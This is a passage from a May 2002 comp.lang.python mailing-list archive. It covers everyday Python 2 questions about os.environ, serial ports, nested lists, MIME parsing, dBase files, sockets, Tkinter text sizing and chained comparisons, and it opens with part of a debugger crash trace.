e820410200 call PyList_New (1e13e010) 1e119ef0 83c404 add esp,0x4 1e119ef3 a3d8601a1e ds:1e1a60d8=00000000 mov [PyUnicode_Type+0xca0 (1e1a60d8)],eax 1e119ef8 a1d4601a1e ds:1e1a60d4=00000000 mov eax,[PyUnicode_Type+0xc9c (1e1a60d4)] 1e119efd 85c0 test eax,eax 1e119eff 750a jnz PyCodec_Decode+0x12b (1e119f0b) 1e119f01 e82a200100 call PyDict_New (1e12bf30) 1e119f06 a3d4601a1e ds:1e1a60d4=00000000 mov [PyUnicode_Type+0xc9c (1e1a60d4)],eax *----> Stack Back Trace <----* FramePtr ReturnAd Param#1 Param#2 Param#3 Param#4 Function Name 0012ff20 1e154fa1 78020be7 00000001 1e142fe7 f9a00036 python21!PyCodec_Decode (FPO: [0,0,0]) 0012ff2c 1e142fe7 f9a00036 0012fbbc 0012ffc0 7ffdf000 python21!Py_Initialize (FPO: [0,0,2]) 0012ff64 0040100f 00000002 007c0600 0040112f 00000002 python21!Py_Main (FPO: [EBP 0xf9a00036] [2,9,4]) 0012ff70 0040112f 00000002 007c0600 007c01a0 f9a00036 python! (FPO: [2,0,0]) f9a00036 00000000 00000000 00000000 00000000 00000000 python! Is it possible that there is some unicode problem? I have noticed a pattern that machines in one building work and in our other building they don't unless you're running Win 2000, even though they're on the same network. Thanks in advance, Patrick From sdm7g at Virginia.EDU Thu May 16 14:43:30 2002 From: sdm7g at Virginia.EDU (Steven Majewski) Date: Thu, 16 May 2002 14:43:30 -0400 Subject: Strange result on os.environ In-Reply-To: <1ap7eu8ghm8n5laq0rh0fu5rj8noaunmq8@4ax.com> References: <2cj7eucrjmbqj509b29jeaf6no6lgqboa5@4ax.com> <1ap7eu8ghm8n5laq0rh0fu5rj8noaunmq8@4ax.com> Message-ID: On Thu, 16 May 2002, Gonalo Rodrigues wrote: > >environ isn't really a dictionary. try > > > > for key in os.environ.keys(): > > print key > > Confusing Ill say. It isn't really a dict so I can't use the >2.2 idiom > > for key in dict: > > > but it has a .keys() method... Coercing os.environ to a dict will also work: for key in dict(os.environ): print key however this will not work: for key in iter(os.environ): print key although this will: for key in iter(dict(os.environ)): print key -- Steve M. From peter at engcorp.com Thu May 16 20:57:17 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 16 May 2002 20:57:17 -0400 Subject: serial port problem References: <7557b51f.0205161012.18df5304@posting.google.com> Message-ID: <3CE4556D.9F863C87@engcorp.com> seh wrote: > > I am trying to get my serial port working with python. > > I have installed and tried USPP, Sio32 and Pyserial. All of them > installs nicely and I get no errors using the commands. The only > problem is that my instrument in the other end does not respond to the > commands. I have tried on two different laptops one with W2000 and the > other with NT4.0. > > When I do the same thing in Matlab on the same pc everything is > working nicely. > > Does anybody has any ideas on what I do wrong or what I do not do? Any > ideas on how to debug the problem? Hook up a cross-over cable (like a null modem cable) between two serial ports on the same PC and run Hyperterminal on the second port to monitor the data being sent... Also experiment with manually controlling the serial modules through the Python interactive prompt. If you can't do it from there, you're program won't work either. -Peter From cliechti at gmx.net Thu May 30 17:43:56 2002 From: cliechti at gmx.net (Chris Liechti) Date: 30 May 2002 23:43:56 +0200 Subject: Avoiding `exec', how to? References: <20020530221832.L17248@prim.han.de> Message-ID: pinard at iro.umontreal.ca (Fran?ois Pinard) wrote in news:mailman.1022792988.25468.python-list at python.org: > [holger krekel] >> 2) mod = __import__('currentmodulename') >> for name in filter(lambda x: x[0]!='_', dir(defs)): >> setattr(mod, name, defs[name]) > ... Your code fragment bears an excellent > suggestion, by which `dir()' allows getting rid of `__dict__'. Thanks > for this tip! please not that the output of "dir" has changed over the versions. i think there was a message on the group this or last week about that. (it was bout dir and classes/types) > # Fabriquer une variable globale pour chaque ?l?ment de DEFS. > module = sys.modules[__name__] > for name in dir(defs): > if name[0] != '_': > setattr(module, name, getattr(defs, name)) > del defs, module, name > > The code would be less clear, for me, if it was using `filter' and > `lambda'. ok i couldn't resist :-) moddict = __import__(__name__).__dict__ defs = {'a':1, 'b':2} moddict.update( dict(filter(lambda k: k[0][0]!='_', defs.items())) ) del defs, moddict altough a list comprehension is more readable: moddict = __import__(__name__).__dict__ defs = {'a':1, 'b':2} moddict.update( dict([ (k,v) for k,v in defs.items() if k[0]!='_']) ) del defs, moddict, k, v chris he, always interesting how a simple questions generate that many traffic on the list! (and in your inbox) -- Chris From whisper at oz.net Sun May 12 15:07:40 2002 From: whisper at oz.net (David LeBlanc) Date: Sun, 12 May 2002 12:07:40 -0700 Subject: Best way to represent an outline? In-Reply-To: <3CDA8185.8080305@lindbergs.org> Message-ID: You might care to have a look at these projects: Leo http://personalpages.tds.net/~edream/front.html Buzz http://buzz.sourceforge.net/ Woody http://sourceforge.net/projects/woody/ All of these are python based outliners of one form or another. Buzz may be of particular interest since it uses OPML http://www.opml.org/: "OPML an XML-based format that allows exchange of outline-structured information between applications running on different operating systems and environments." If you check out Buzz and by chance you're on Windows, it's not a supported platform, but I was able to get it mostly working with little effort. Alas, I don't recall exactly what I did. If you do try it and have troubles, let me know and i'll see if I can recreate my steps. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of VanL > Sent: Thursday, May 09, 2002 7:03 > To: python-list at python.org > Subject: Best way to represent an outline? > > > Hello, > > I'm trying to figure out the best way to represent an > outline, but I'm not sure what to use for each node: > > A dict: This is probably the best fit, with the name serving > as a key to another dict with different types of content. > But the problem is that an outline is ordered, where dicts > are inherently unordered. > > A class: This would probably work, but I don't want the > types of items that I will include within each class > instance to necessarily be pre-defined. So it seems like it > would be difficult to loop over the instance and discover > everything in a particular node. Plus, even if I used the > __dict__, I still have the ordering problem described above. > > A list: This satisfies the ordering property needed for an > outline, but I'm not sure where I would stick the variable > content of each node. > > Any suggestions? > > TIA, > > Van > > -- > http://mail.python.org/mailman/listinfo/python-list From jdavis at empires.org Fri May 3 15:31:37 2002 From: jdavis at empires.org (Jeff Davis) Date: Fri, 03 May 2002 12:31:37 -0700 Subject: Multidimensional arrays - how? References: <6vv4du8mu1hj59k7g0uq58r24mp74g02hu@4ax.com> Message-ID: x = [] x.append([]) x[0].append([]) x[0][0].append([]) x[0][0][0].append('text0') Hmm... doesn't look to graceful though. It seems as though that style works out for most common situations where you add one element at a time. If you want a preallocated array try the following x = [None for foo in range(0,5)] # gives x[5] or even: x = [[None for foo in range(1,5)] for foo in range(0,5)] # the above givies you an array like x[5][5] I hope that works out for you. It might seem a little messier than what you're used to. However, I think it help to keep good track of variables like this. There also might be a better way that I don't know of. Jeff Davis Jaros?aw Zabie??o wrote: > How to create multidimmensional arrays in Python? I tried: > > x = [] > > book, chapter, para = 0,0,0 > x[book][chapter][para] = 'text0' > > book, chapter, para = 0,0,1 > x[book][chapter][para] = 'text1' > > This code does not work in Python :-( but (with slightly changings) > works in PHP, C, C++ or Pascal). > > -- > Jaros?aw Zabie??o (UIN: 6712522) > URL: http://3585753410/~zbiru From rdacker at pacbell.net Thu May 2 14:25:55 2002 From: rdacker at pacbell.net (bob ackerman) Date: Thu, 02 May 2002 11:25:55 -0700 Subject: module access In-Reply-To: Message-ID: <0A65762C-5DFA-11D6-A548-003065428126@pacbell.net> On Thursday, May 2, 2002, at 11:06 AM, Mark McEahern wrote: > [rdack] > [...] >> but i have a link in fileb [...] > > What do you mean by 'link'? > print ' Getting trouble to retrive multipart (forwarded) message/attached file from multipart message body. In multipart message, there is two "content_type" in forwared messages, so that not able to find out boundary using Follwing is a part of multipart message --------------837DBB1AC790B508BD6072B2 Content-Type: message/rfc822 Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-ID: <92AAC9C8680006293816CD9AA8C8 at ksporz.eil.risnet.de> From: To : Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01C1EB9E.9F057660" ................. ............................. ......it has some multipart message again......... ----------------------------------------------- m = mimetools.Message(multipartmsg). m.getparam("boundary")----shows None From jb at cascade-sys.com Fri May 10 04:04:36 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Fri, 10 May 2002 01:04:36 -0700 Subject: Simple question about how the optimizer works References: <3cda42ef_1@goliath2.newsgroups.com> <3cda43fd_1@goliath2.newsgroups.com> <3CDA9B3C.F2D00FE6@cascade-sys.com> <20020509113410.C18545@unpythonic.net> <3cdb711c_4@goliath2.newsgroups.com> <3cdb71e5_4@goliath2.newsgroups.com> Message-ID: <3CDB7F14.A8232C1@cascade-sys.com> jb wrote: > And what about pure calculations? Let for example a,b and c be long > integers. Then what about > > x1=a*b*c+1-3 > y1=sqrt(a*b*c+7) > > or more simply > > res= a / b > rest = a % b > > Can such calculations be optimized? Again, the compiler would need to be able to determine the types of the variables a,b,c,d and make sure it was safe to remove the common sub-expressions.. E.g, in the context where it is known that a = 3 b = a+1 c = 99 it would be a valid optimization. This is a bit tricky in a dynamic language like Python. E.g., in "a*b" a could be a list or arbitrary objects that peversely define "*" or "+" to be operations with side-effects. Even if you had a blanket rule to not optimize where user-defined operators are involved, it is non-trivial to determine at compile time what the type of the variables will be. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From jblazi at hotmail.com Fri May 10 03:13:43 2002 From: jblazi at hotmail.com (jb) Date: Fri, 10 May 2002 09:13:43 +0200 Subject: Simple question about how the optimizer works References: <3cda42ef_1@goliath2.newsgroups.com> <3cda43fd_1@goliath2.newsgroups.com> <3CDA9B3C.F2D00FE6@cascade-sys.com> <20020509113410.C18545@unpythonic.net> Message-ID: <3cdb711c_4@goliath2.newsgroups.com> Andrew Dalke wrote: > > Unless the compiler could look (somehow!) into the definition of each > __nonzero__, or disable optimizations if _getframe(), sys.exc_info(), etc. > are used *anywhere* in the Python code, then there's no way it can build > that optimization. And what about pure calculations? Let for example a,b and c be long integers. Then what about A=a*b*c+1 -- Js Bi "Il n'y a gu?re dans la vie qu'une pr?occupation grave: c'est la mort;" (Dumas) -----------== Posted via Newsgroups.Com - Uncensored Usenet News ==---------- http://www.newsgroups.com The #1 Newsgroup Service in the World! -----= Over 100,000 Newsgroups - Ulimited Fast Downloads - 19 Servers =----- From sheershion at mailexpire.com Sun May 12 18:40:03 2002 From: sheershion at mailexpire.com (Robert Amesz) Date: Sun, 12 May 2002 22:40:03 -0000 Subject: Reading Dbase files References: Message-ID: Leo Noordhuizen wrote: > I am trying to read .dbf files using the (old) dbf.py module > (version 0.2 1999/11/12 written > by Michal Spalinski. This seemed to work quite well, untill I > found out that records which apparantly > have been deleted are also read as 'normal'... > In other words: not really useable or at least not compatible with > this format of .dbf files. > > I am looking for advise how to proceed. I really need this > functionality and should like to keep on using Python. I'm not familiar with dbf.py, but old dBase programs don't physically delete the record (not right away, anyway) but set a marker in a special field to indicate their deleted status. I presume there's some way in which this marker can be tested in dbf.py, and if not it shouldn't be terribly hard to add this. The dBase file format is well documented over the years. Alternatives: - under Windows you can use ODBC datasource manager in the control panel to setup a dBase datasource, after which you can use ODBC to get at your data. - Wrap a dBase library like Xbase for use under Python. Robert Amesz From reply at in_newsgroup.tks Fri May 17 15:29:44 2002 From: reply at in_newsgroup.tks (Scrumpy) Date: 17 May 2002 19:29:44 GMT Subject: Python or Ruby for a newbie - Winner is Python! References: <91acf731.0205170652.43923fcc@posting.google.com> Message-ID: jason at jvoegele.com (Jason Voegele) wrote in news:91acf731.0205170652.43923fcc at posting.google.com: > Scrumpy wrote in message > news:... >> I'd posted two or three times to this Python newsgroup and always >> received replies (a good sign of a supportive community) but my two >> recent posts to the Ruby newsgroup garnered zero replies! >> >> Even though Ruby has been around for about seven years, it appears >> that the Ruby community is focused on supporting existing >> programmers and not (at all?!) on promoting Ruby as a first langauge. > > I subscribe to the ruby-talk mailing list that is mirrored with > comp.lang.ruby, and I never saw your message. Also, a google search > reveals no postings made by you to comp.lang.ruby. Either you sent > your message somewhere else, or you never sent it at all. If that's > the case, I question your integrity and wonder if this post is > anything more than flame-bait. That's really strange! I've also just checked Google groups and saw other newsgroup post that I've made but not teh ones to the Ruby newsgroup! :-( I posted to comp.lang.ruby on May 7th with the subject "Newbie - Python or Ruby as 1st language?" & on May 10th with the subject "Ruby for Newbie?!". I followed the newsgroup for days and saw my posts gradually go lower and lower until they disappeared off the newsgroup. There was a problem with that newsgroup for about two days (though other newsgroups I follow were ok) when there were no new posts but on the third day, the previous two days posts showed up and there haven't been any problems since. I will repost it in this newsgroup and comp.lang.ruby What's the point in a newbie to programming, who's trying to get help in selecting a language, trying to provoke flames from users of a langauge?! Anyway, let's see what response I get first. Regards, Scrumpy :) From mcfletch at rogers.com Wed May 22 14:02:07 2002 From: mcfletch at rogers.com (Mike C. Fletcher) Date: Wed, 22 May 2002 14:02:07 -0400 Subject: 2**HUGENUMBER Why not optimise it? References: Message-ID: <3CEBDD1F.3070107@rogers.com> I've noticed the use of 2**HUGENUMBER as a speed test a couple of times now. I'm curious why the language(s) doesn't (don't) optimise 2**X operations for really huge exponents. Python obviously optimises 1**x (since 1**1000000 returns instantly), so why not 2**x where x > (30 or 62)? i.e. return 1L< * George Demmy > | "Python" is *much* "faster" than "Perl", "php", or "C" at answering > | this question: > | > | What is the integer value of 2 raised to the power of 10000? ... _______________________________________ Mike C. Fletcher http://members.rogers.com/mcfletch/ From mrchameleon at hotmail.com Sun May 26 19:59:25 2002 From: mrchameleon at hotmail.com (Chris Reay) Date: 26 May 2002 16:59:25 -0700 Subject: Sockets/select: how to deal with multiple connections in threads? References: <1022431382.60958@yasure> Message-ID: <7652139e.0205261559.175475dd@posting.google.com> Irmen de Jong wrote in message news:... > > I was recommended to use asyncore/Medusa (that doesn't use threads at all). > But since my system (Pyro) is currently structured around threads, that > would require a major rewrite. > > So I optimized my thread solution: don't use a thread per request, just > spawn a new thread and let it live. The main loop only handles new > accept()s. First results show a speed increase of up to 2 times :) > > Irmen Hi Irmen My own multiple server class is unthreaded. It has separate methods for accepting new connections, for reading, for writing, and for closing "dead" connections. The reading method uses select with a timeout of 0 ie: readList, w, e = select(self.clientList, [], [], 0) The method then reads each client's data completely, one by one. This method seems to work quickly, simply, and well. Hth, fwiw Chris From anthony at interlink.com.au Mon May 6 01:16:51 2002 From: anthony at interlink.com.au (Anthony Baxter) Date: Mon, 06 May 2002 15:16:51 +1000 Subject: high volume/speed gethostbyaddr how? In-Reply-To: Message from Dan Polak of "Fri, 03 May 2002 18:17:26 +0200." Message-ID: <200205060516.g465GpX03378@localhost.localdomain> >>> Dan Polak wrote > Gethostbyaddr blocks by default, this means that there is an appreciable > delay before it returns. > If you need to lookup a fair number of hostnames gethostbyaddr is much > too slow. > Using select or the asyncore library might be the way to do it, but I > don't really understand how to make that work. > What is a good way to retrieve the names for a 100 hosts within a few > seconds? You could always use the DNS code from pydns.sf.net... Anthony -- Anthony Baxter It's never too late to have a happy childhood. From geoff at gerrietts.net Fri May 17 14:34:21 2002 From: geoff at gerrietts.net (Geoff Gerrietts) Date: Fri, 17 May 2002 11:34:21 -0700 Subject: cross platform method of accessing a running process In-Reply-To: References: Message-ID: <20020517183421.GA2290@isis.gerrietts.net> Quoting Seth Russell (seth at robustai.net): > I want to have a python process always running on my machine, but allow cgi > processes to come in and access that process. How do I do this in a manner > that will work on all platforms ? What python modules will support this? I might be wrong (don't think I am), but I believe the only way to do this in a truly cross-platform manner is to do it via sockets. You open a socket in your long-running process and accept requests. The SocketServer module is one of your choices. Some higher-level protocols, like FastCGI, exist. You may find that FastCGI, or something like XML-RPC, allows you to do the sorts of things you're looking to do without having to invent a whole protocol for information exchange. You might also check into Pyro and Twisted; those frameworks provide some functionality overlapping with what you're interested in. More details on what you want will naturally increase the quality of the answers you receive. Luck, --G. -- Geoff Gerrietts "Overspecialize and you breed in weakness. It's slow death." -- Maj. Motoko Kusanagi http://www.gerrietts.net (Ghost in the Shell) From fperez528 at yahoo.com Mon May 20 01:51:08 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Sun, 19 May 2002 23:51:08 -0600 Subject: string module References: Message-ID: Fernando P?rez wrote: >> For example, string.uppercase has the following values: >> >> ABCDEFGHIJKLMNOPQRSTUVWXYZ\xC0\xC1\xC2....\xCde >> > >>>> import string >>>> string.uppercase > 'ABCDEFGHIJKLMNOPQRSTUVWXYZ\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd8\xd9\xda\xdb\xdc\xdd\xde' >>>> print string.uppercase > ABCDEFGHIJKLMNOPQRSTUVWXYZ?????????????????????????????? > But now I'm totally confused. The above works at a python prompt, but the simple program import string print string.__file__ print string.uppercase executed at the system prompt gives: [~]> python t.py /usr/lib/python2.2/string.pyc ABCDEFGHIJKLMNOPQRSTUVWXYZ Huh??? How can the python shell get a different value? I checked in the interactive prompt and string.__file__ does point to the same file as indicated above. So how in the world do I get the extra accented chars shoved into string.uppercase? The relevant section in /usr/lib/python2.2/string.py: # Some strings for ctype-style character classification whitespace = ' \t\n\r\v\f' lowercase = 'abcdefghijklmnopqrstuvwxyz' uppercase = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' letters = lowercase + uppercase I'd very much appreciate someone who could explain who is putting the extra chars into these module constants when at the python prompt. Cheers, f. From zayats at red.seas.upenn.edu Tue May 21 14:59:30 2002 From: zayats at red.seas.upenn.edu (Salim Zayat) Date: 21 May 2002 18:59:30 GMT Subject: Drawing Trees Message-ID: This is totally an opinion question here. If one were drawing trees in Tkinter, it would make sense to draw them on a Canvas, with CanvasTexts for all the nodes of the tree (assuming the nodes and leaves are words). So lets say you do something to the tree (delete a node, add a node, etc), is it efficient to just delete everything, and redraw everything from scratch. That it what I currently do, and the lag for large trees is a bit of a pill. Is there a better way to do this? Can you like store those text widgets and just use them again? Thanks. Salim From mgilfix at eecs.tufts.edu Mon May 27 13:20:30 2002 From: mgilfix at eecs.tufts.edu (Michael Gilfix) Date: Mon, 27 May 2002 13:20:30 -0400 Subject: Dictionary checking In-Reply-To: <3CEFCDC4.67C1564E@stud.ntnu.no>; from bgrotan@stud.ntnu.no on Sat, May 25, 2002 at 07:45:40PM +0200 References: <3CEFCDC4.67C1564E@stud.ntnu.no> Message-ID: <20020527132030.A17710@eecs.tufts.edu> On Sat, May 25 @ 19:45, Bj?rn Ove Gr?tan wrote: > I'm building a dictionary with values from a file. > > for each key, I have an ID, Name and Alias > for some keys I have only ID and Name, some keys with > ID and Alias, some keys with all 3 and a few keys > with only a ID with no Name and no Alias. > > How can I check if Name and/or Alias contain anything. > If Name contains any string it's ok, but if not I want to > use the string value of Alias - and if not any value (space/blank) > of Alias I want to do some error-handling. It sounds like what you really want to do is have a dict within a dict. So for example: dict = { entry = { 'name' : value, 'alias' : other, 'id' : idno, }, otherentry = { 'name' : value, 'id' : idno, } } Now, you can check if otherentry has the record: if dict[otherentry].has_key ('alias'): # Do something else: # Do something else > Also, I want to make some output with data combined from 2 dictionaries. > Does anyone have any examples on how to do this? As others have said, dict.update () is your friend. -- Mike -- Michael Gilfix mgilfix at eecs.tufts.edu For my gpg public key: http://www.eecs.tufts.edu/~mgilfix/contact.html From sholden at holdenweb.com Thu May 2 11:42:29 2002 From: sholden at holdenweb.com (Steve Holden) Date: Thu, 2 May 2002 11:42:29 -0400 Subject: Python vs. Perl, which is better to learn? References: <826628efe5.fsf@acropolis.localdomain> <9F74AA1B18A57488.23FAAF6892B1E10D.AAAE27FF654FB148@lp.airnews.net> <82znzjsw6k.fsf@acropolis.localdomain> Message-ID: <6bdA8.54737$Au5.4014@atlpnn01.usenetserver.com> "Patrick W" wrote ... [...] > > import IMHO and sprinkle it liberally throughout. > > A programmer ought to know at least four languages in depth. If those > four languages are well chosen, they can last a lifetime. If they lack > certain features that come pre-packaged elsewhere, it's far better to > acquire the _concepts_ and _techniques_ implicit in them, and > implement them in your chosen language(s), as opposed to madly > accumulating new notations simply because they possess a convenient > feature or two. > So, what you seem to be saying is that I should have stuck with Algol 60, PLAN, PL/1 and IBM 1130 assembly language? > I think this popular notion of "right tools for the right job" is > actually very harmful, both to individuals and to the science/industry > as a whole. To stick with the tradesman metaphor for a moment, I think > it creates a culture in which programmers are encouraged to become > "jack of all trades, master of none." Resumes may be stuffed full of > impressive sounding acronyms, but programmers actually don't know as > much as they once did. It's not because we're stupid (although the > barrier to entry is considerably lower these days); it's partly a > result of having too many alternative implementation details to > learn. When depth is sacrified for breadth, beyond a certain point, it > becomes a very bad thing. > There is something in what you say, but I would prefer to think that one moves to a new language precisely because it does offer better wasy of using fundamentally new paradigms. If someone wants to use object-oriented techniques they would be hard-put to graft them onto (say) Algol 60. > To make sensible choices up front, and to focus on a few languages and > topics to the exclusion of many others is the only way to go. That's > why I reject this "learn them both" approach, unless the languages are > different enough in purpose and style and philosophy to make them both > worthwhile and complementary. > Another problem, of course, is that often times the learner has no choice, or is badly guided, and then has to change anyway. Plus, of course, changes of job can mandate changes of language. > So, choice is necessary, but what to choose? > > IMHO, the best choices for starters are: > > * One of [C, C++] for maximum efficiency, minimal overhead and an > understanding of the low-level foundations of higher level > facilities. > I think it's dangerous to equate these two languages, as despite C++ being a superset of C it contains many things, and implements many concepts, which C does not. I regard them as being fundamentally different: C is a sort of high-level assembly language, whereas C++ is a Swiss army knife. > * One of [Python, Perl, Python, Ruby, Python, Tcl, Python] for general > purpose programming and scripting. For my money, Python is the clear > winner in this category. It's great for everything from text > processing and os scripting through to graphics, multimedia, comms, > database programming, web development, etc. It's just as much fun > for skilled hackers as it is for beginners. > Now you're talking. > * Something that encourages a different style of thinking. My own > favourite (for this purpose) is Lisp. I feel that Lisp is powerful > enough to handle anything I'll ever throw at it, and it's flexible > enough to incorporate any new programming paradigms that computer > scientists are brilliant (or crazy, or foolish) enough to think up. > > * Whatever else turns you on. > [...] > Absolutely. Then extend it with concepts and techniques from many > other sources. There's far more value in that than in learning a new > notation every few months (provided the initial choices are good > ones). Not all languages extend easily. Even Visual Basic, as sundry a hodge-podge of accumulated features and syntax as could be desired, has had to be mangled heavily to bring it into the .NET world. Most of the changes are justifiable rationalisations. The really interesting thing is the lack of noise from the VB community about that, while the poor Python development team have to suffer howls of anguish just to get True and False into the language ;-) regards Steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From ante_nospam at rest-art.hr Fri May 3 03:13:22 2002 From: ante_nospam at rest-art.hr (Ante Bagaric) Date: Fri, 3 May 2002 09:13:22 +0200 Subject: dictionary Message-ID: hmmm is there a reason why operators + and - don't work with dictionaries? Couldn't + be like union and - like difference? I guess this question was brough up dozens of times thou.. so forgive me :) Ante From siegfried.gonzi at kfunigraz.ac.at Mon May 6 03:30:29 2002 From: siegfried.gonzi at kfunigraz.ac.at (Siegfried Gonzi) Date: Mon, 06 May 2002 09:30:29 +0200 Subject: F2PY problems References: Message-ID: <3CD63115.25AD6C42@kfunigraz.ac.at> Pearu Peterson wrote: > :) The strength of your emphasize doesn't really matter. Both F2PY and > SciPy are products of volunteers and one way to speed up getting support > to your needs is to volunteer yourself for testing and submitting > patches if necessary. build_flib.py contains many examples how to add > support for new compilers. Just copy, say, the NAG compiler class and > adjust it to your F compiler. In general, it is rather simple > procedure if you know what Fortran compiler specific libraries are needed > when building the extension module. > If it works, you can send patches either to scipy-dev or f2py mailing > lists. I tried it, but I could not find the stuff where it searches for the path (it is not that easy to find the dependencies). But I will try your new version. I would do much more if I had the knowledge, so the best what I can do is to present my wish-list. > 2) There are number of other F90/95 compilers that you can try out for > free and even to use for free under certain conditions: > Absoft - has 14day trial version for Linux > Intel - has 30day free evaluation both for Windoza and Linux, for Linux > they also provide noncommercial unsupported compiler with unlimited > free usage (under certain conditions, of cource) > Compaq - has free Enthusiast and Education licence for non-commercial > use under Linux Alpha > NAG - has xx day trial versions, I think > Portland - has 15day trial version for various platforms > etc. > In future, there will be also GNU g95 compiler available, maybe within a > year or two. No problem at all. I can easily log in to a Sun workstation if I like. But I do also much (and honestly speaking: just almost anything in the meantime) on my Windows laptop. > And since Windoza users have afforded to buy Windows, I am presume that > they can afford also one of the compilers above -- they are not that > expensive. Normally I do not have problems to buy software; I even paid the Shareware for the Macintosh LaTeX CMacTeX in order to write my Master Thesis. Regards, S. Gonzi From jepler at unpythonic.net Tue May 21 12:44:00 2002 From: jepler at unpythonic.net (Jeff Epler) Date: Tue, 21 May 2002 11:44:00 -0500 Subject: Text Widget size In-Reply-To: References: Message-ID: <20020521114359.C3603@unpythonic.net> I have not succeeded in solving this problem. The following function comes close. However, Tk doesn't easily yield up the information necessary. The principle is to use the 'dlineinfo' command to get information about each line in the text widget in turn, and then from that find out the height and width of the entire window. The required width is the maximum x coordinate returned by dlineinfo(), and the required height is the sum of the required height for each line. These numbers are in pixel units. Then, since units for height= and width= of a text are in character units, it is necessary to compute the number of pixels in the same way that Tk computes it---from the width of the character 0, and the overall height of the font. These are accessible via "font measure" and "font metrics" commands, but don't seem to be directly available via the Tkinter wrapper. The 'update_idletasks' call is necessary to let the widget configure itself. The height is set to 2 so that 'dlineinfo' returns the true height of the line, and this may still be wrong if any single line is taller than 2 default lines (probably easily true with embedded windows) (put a number like 100 here instead?). This may cause the window to "twitch" since it is resized twice during this process. Good luck -- it's not a pretty corner of Tk that you find yourself in... Jeff #----------------------------------------------------------------------- import Tkinter, math def fittext(t): t.configure(width=1, height=2, wrap="none") t.update_idletasks() end = int(float(t.index("end"))) x = y = 0 for line in range(0, end): idx = "%d.0" % line t.see(idx) bb = t.dlineinfo(idx) print bb, bb[3] - bb[1] + 1, bb[2] - bb[0] + 1 y = y + bb[3] x = max(x, bb[2]) font = t.cget("font") print t h = int(t.tk.call("font", "measure", font, "0")) v = int(t.tk.call("font", "metrics", font, "-linespace")) print x, y, h, v t.configure(width=int(math.ceil(x/h))+1, height=int(math.ceil(y/v))) t.see("0.0") # demo t = Tkinter.Text() t.insert("end", open("fittext.py").read()) t.tag_add("blah", 0.0, "end") t.tag_configure("blah", font="helvetica -24") t.pack() fittext(t) t.mainloop() From wweexxsseessssaa at telusplanet.net Thu May 30 22:13:31 2002 From: wweexxsseessssaa at telusplanet.net (John Hall) Date: Fri, 31 May 2002 02:13:31 GMT Subject: What am I doing wrong? References: Message-ID: >... I am pouring other the various Python books I have and I can't >see what I am doing wrong... What are your pouring? Perhaps try poring, which tends to work better in these cases. -- John W Hall Calgary, Alberta, Canada. "Helping People Prosper in the Information Age" From whisper at oz.net Thu May 30 14:16:37 2002 From: whisper at oz.net (David LeBlanc) Date: Thu, 30 May 2002 11:16:37 -0700 Subject: Crashing IDLE In-Reply-To: Message-ID: "NOP" at the assembly language level does all those things! Events and interrupts are generally sensed at instruction/statement boundaries, and "pass" would (or should!) count as such. Methinks at a higher level of abstraction (but not really), the pcode interpreter loop should be doing this too. David LeBlanc Seattle, WA USA > -----Original Message----- > From: Gustavo Cordova [mailto:gcordova at hebmex.com] > Sent: Thursday, May 30, 2002 6:27 > To: David LeBlanc > Cc: Python List > Subject: RE: Crashing IDLE > > > > > > I would consider that a bug - "pass" should be checking for > > ctrl-c and other > > events imo. It sure strikes me as a point for relinquishing control. > > > > David LeBlanc > > Seattle, WA USA > > > > But "pass" is a NOP, which is exactly nothing, which > means it must do nothing. If you give it the semantics > of checking for KeyboardInterrupt, or SIGHUP, or yielding > control to another thread, or ... etc, then it's no longer > a NOP, so it shouldn't be "pass", but another keyword... > > "sleep" perhaps? > > or "yield" maybe? Naa, that's for generators. > > Something akin to "yield", but not "yield". > > -gustavo From peter at engcorp.com Sat May 18 13:13:14 2002 From: peter at engcorp.com (Peter Hansen) Date: Sat, 18 May 2002 13:13:14 -0400 Subject: "One Bullet is never enough" Paper References: <3CE5AFD3.32D59F@tundraware.com> Message-ID: <3CE68BAA.726DA1A6@engcorp.com> John Roth wrote: > > "Tim Daneliuk" wrote in message > news:3CE5AFD3.32D59F at tundraware.com... > > Python does just what needs doing ... see the end of this piece for > why: > > > > http://www.tundraware.com/Technology/Bullet/ > I just read it, and I don't see any connection whatsoever > between your title and the subject of your paper. Nevertheless, > your paper is quite interesting in its own right, it's just in the > wrong newsgroup. I had to resort to Ctrl-F in Netscape to find the connection. The paper *does* mention Python, almost in passing, and Forth... -Peter From yallowman at katamail.com Mon May 27 10:08:43 2002 From: yallowman at katamail.com (Yallowman) Date: Mon, 27 May 2002 16:08:43 +0200 Subject: PyGreSQL Linux Installation Help? References: <3CE6D638.8010603@nowhere.com> Message-ID: <3CF23DEB.F6636E9@katamail.com> You can install postgresql-python-x.x-x.i386.rpm downloaded from www.postgresql.org Yallowman Jane Doe wrote: > Hi, could anyone let me know what to do to install PyGreSQL on Redhat > Linux? Thanks. From steve at lurking.demon.co.uk Tue May 14 07:56:23 2002 From: steve at lurking.demon.co.uk (Steve Horne) Date: Tue, 14 May 2002 12:56:23 +0100 Subject: Thoughts on new grammar rules (PEP 284 in particular) References: <82undu4anb47usgck50ebil2ku1f36173q@4ax.com> Message-ID: <8ku1eu0tj5nmv4dkmvbknims64m3fodvob@4ax.com> On Fri, 10 May 2002 11:00:36 -0700, David Eppstein wrote: >In article <82undu4anb47usgck50ebil2ku1f36173q at 4ax.com>, > Steve Horne wrote: > >> I was just reading PEP284 and, in general, I like it. The trouble is, >> I'd quite like these limit-specifications to be more general. For >> example, I'd quite like to write... >> >> if 0 <= x < 10 : >> print "x is in range" >> >> There is a big problem with this, of course - this is already legal >> Python, but the semantics aren't what I intend. > >I don't understand your point -- what semantics do you intend for this >test that are different from current Python? That was actually a mistake - I use C++ more than Python and stupidly did not test this before assuming C-like semantics. In C... x = 15 0 <= x < 10 = (0 <= x) < 10 = 1 < 10 = 1 which is not what is intended. Note - I did not check the associativity of 